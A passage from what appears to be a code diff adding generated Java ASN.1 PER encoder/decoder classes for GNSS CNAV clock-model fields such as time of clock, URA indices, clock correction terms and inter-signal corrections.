+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavISCl1ca : "
+ + getCnavISCl1ca().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavISCl2c() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavISCl2c();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavISCl2cToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavISCl2cType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavISCl2c : "
+ + getCnavISCl2c().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavISCl5i5() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavISCl5i5();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavISCl5i5ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavISCl5i5Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavISCl5i5 : "
+ + getCnavISCl5i5().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavISCl5q5() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavISCl5q5();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavISCl5q5ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CNAVclockModel.cnavISCl5q5Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavISCl5q5 : "
+ + getCnavISCl5q5().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavTocType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavTocType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavTocType() {
+ super();
+ setValueRange("0", "2015");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavTocType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavTocType != null) {
+ return ImmutableList.of(TAG_cnavTocType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavTocType from encoded stream.
+ */
+ public static cnavTocType fromPerUnaligned(byte[] encodedBytes) {
+ cnavTocType result = new cnavTocType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavTocType from encoded stream.
+ */
+ public static cnavTocType fromPerAligned(byte[] encodedBytes) {
+ cnavTocType result = new cnavTocType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavTocType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavTopType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavTopType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavTopType() {
+ super();
+ setValueRange("0", "2015");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavTopType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavTopType != null) {
+ return ImmutableList.of(TAG_cnavTopType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavTopType from encoded stream.
+ */
+ public static cnavTopType fromPerUnaligned(byte[] encodedBytes) {
+ cnavTopType result = new cnavTopType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavTopType from encoded stream.
+ */
+ public static cnavTopType fromPerAligned(byte[] encodedBytes) {
+ cnavTopType result = new cnavTopType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavTopType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavURA0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavURA0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavURA0Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavURA0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavURA0Type != null) {
+ return ImmutableList.of(TAG_cnavURA0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavURA0Type from encoded stream.
+ */
+ public static cnavURA0Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavURA0Type result = new cnavURA0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavURA0Type from encoded stream.
+ */
+ public static cnavURA0Type fromPerAligned(byte[] encodedBytes) {
+ cnavURA0Type result = new cnavURA0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavURA0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavURA1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavURA1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavURA1Type() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavURA1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavURA1Type != null) {
+ return ImmutableList.of(TAG_cnavURA1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavURA1Type from encoded stream.
+ */
+ public static cnavURA1Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavURA1Type result = new cnavURA1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavURA1Type from encoded stream.
+ */
+ public static cnavURA1Type fromPerAligned(byte[] encodedBytes) {
+ cnavURA1Type result = new cnavURA1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavURA1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavURA2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavURA2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavURA2Type() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavURA2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavURA2Type != null) {
+ return ImmutableList.of(TAG_cnavURA2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavURA2Type from encoded stream.
+ */
+ public static cnavURA2Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavURA2Type result = new cnavURA2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavURA2Type from encoded stream.
+ */
+ public static cnavURA2Type fromPerAligned(byte[] encodedBytes) {
+ cnavURA2Type result = new cnavURA2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavURA2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavAf2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavAf2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavAf2Type() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavAf2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavAf2Type != null) {
+ return ImmutableList.of(TAG_cnavAf2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavAf2Type from encoded stream.
+ */
+ public static cnavAf2Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavAf2Type result = new cnavAf2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavAf2Type from encoded stream.
+ */
+ public static cnavAf2Type fromPerAligned(byte[] encodedBytes) {
+ cnavAf2Type result = new cnavAf2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavAf2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavAf1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavAf1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavAf1Type() {
+ super();
+ setValueRange("-524288", "524287");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavAf1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavAf1Type != null) {
+ return ImmutableList.of(TAG_cnavAf1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavAf1Type from encoded stream.
+ */
+ public static cnavAf1Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavAf1Type result = new cnavAf1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavAf1Type from encoded stream.
+ */
+ public static cnavAf1Type fromPerAligned(byte[] encodedBytes) {
+ cnavAf1Type result = new cnavAf1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavAf1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavAf0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavAf0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavAf0Type() {
+ super();
+ setValueRange("-33554432", "33554431");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavAf0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavAf0Type != null) {
+ return ImmutableList.of(TAG_cnavAf0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavAf0Type from encoded stream.
+ */
+ public static cnavAf0Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavAf0Type result = new cnavAf0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavAf0Type from encoded stream.
+ */
+ public static cnavAf0Type fromPerAligned(byte[] encodedBytes) {
+ cnavAf0Type result = new cnavAf0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavAf0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavTgdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavTgdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavTgdType() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavTgdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavTgdType != null) {
+ return ImmutableList.of(TAG_cnavTgdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavTgdType from encoded stream.
+ */
+ public static cnavTgdType fromPerUnaligned(byte[] encodedBytes) {
+ cnavTgdType result = new cnavTgdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavTgdType from encoded stream.
+ */
+ public static cnavTgdType fromPerAligned(byte[] encodedBytes) {
+ cnavTgdType result = new cnavTgdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavTgdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavISCl1cpType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavISCl1cpType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavISCl1cpType() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavISCl1cpType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavISCl1cpType != null) {
+ return ImmutableList.of(TAG_cnavISCl1cpType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavISCl1cpType from encoded stream.
+ */
+ public static cnavISCl1cpType fromPerUnaligned(byte[] encodedBytes) {
+ cnavISCl1cpType result = new cnavISCl1cpType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavISCl1cpType from encoded stream.
+ */
+ public static cnavISCl1cpType fromPerAligned(byte[] encodedBytes) {
+ cnavISCl1cpType result = new cnavISCl1cpType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavISCl1cpType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavISCl1cdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavISCl1cdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavISCl1cdType() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavISCl1cdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavISCl1cdType != null) {
+ return ImmutableList.of(TAG_cnavISCl1cdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavISCl1cdType from encoded stream.
+ */
+ public static cnavISCl1cdType fromPerUnaligned(byte[] encodedBytes) {
+ cnavISCl1cdType result = new cnavISCl1cdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavISCl1cdType from encoded stream.
+ */
+ public static cnavISCl1cdType fromPerAligned(byte[] encodedBytes) {
+ cnavISCl1cdType result = new cnavISCl1cdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavISCl1cdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavISCl1caType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavISCl1caType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavISCl1caType() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavISCl1caType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavISCl1caType != null) {
+ return ImmutableList.of(TAG_cnavISCl1caType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavISCl1caType from encoded stream.
+ */
+ public static cnavISCl1caType fromPerUnaligned(byte[] encodedBytes) {
+ cnavISCl1caType result = new cnavISCl1caType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavISCl1caType from encoded stream.
+ */
+ public static cnavISCl1caType fromPerAligned(byte[] encodedBytes) {
+ cnavISCl1caType result = new cnavISCl1caType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavISCl1caType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavISCl2cType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavISCl2cType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavISCl2cType() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavISCl2cType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavISCl2cType != null) {
+ return ImmutableList.of(TAG_cnavISCl2cType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavISCl2cType from encoded stream.
+ */
+ public static cnavISCl2cType fromPerUnaligned(byte[] encodedBytes) {
+ cnavISCl2cType result = new cnavISCl2cType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavISCl2cType from encoded stream.
+ */
+ public static cnavISCl2cType fromPerAligned(byte[] encodedBytes) {
+ cnavISCl2cType result = new cnavISCl2cType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavISCl2cType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavISCl5i5Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavISCl5i5Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavISCl5i5Type() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavISCl5i5Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavISCl5i5Type != null) {
+ return ImmutableList.of(TAG_cnavISCl5i5Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavISCl5i5Type from encoded stream.
+ */
+ public static cnavISCl5i5Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavISCl5i5Type result = new cnavISCl5i5Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavISCl5i5Type from encoded stream.
+ */
+ public static cnavISCl5i5Type fromPerAligned(byte[] encodedBytes) {
+ cnavISCl5i5Type result = new cnavISCl5i5Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavISCl5i5Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavISCl5q5Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavISCl5q5Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavISCl5q5Type() {
+ super();
+ setValueRange("-4096", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavISCl5q5Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavISCl5q5Type != null) {
+ return ImmutableList.of(TAG_cnavISCl5q5Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavISCl5q5Type from encoded stream.
+ */
+ public static cnavISCl5q5Type fromPerUnaligned(byte[] encodedBytes) {
+ cnavISCl5q5Type result = new cnavISCl5q5Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavISCl5q5Type from encoded stream.
+ */
+ public static cnavISCl5q5Type fromPerAligned(byte[] encodedBytes) {
+ cnavISCl5q5Type result = new cnavISCl5q5Type();
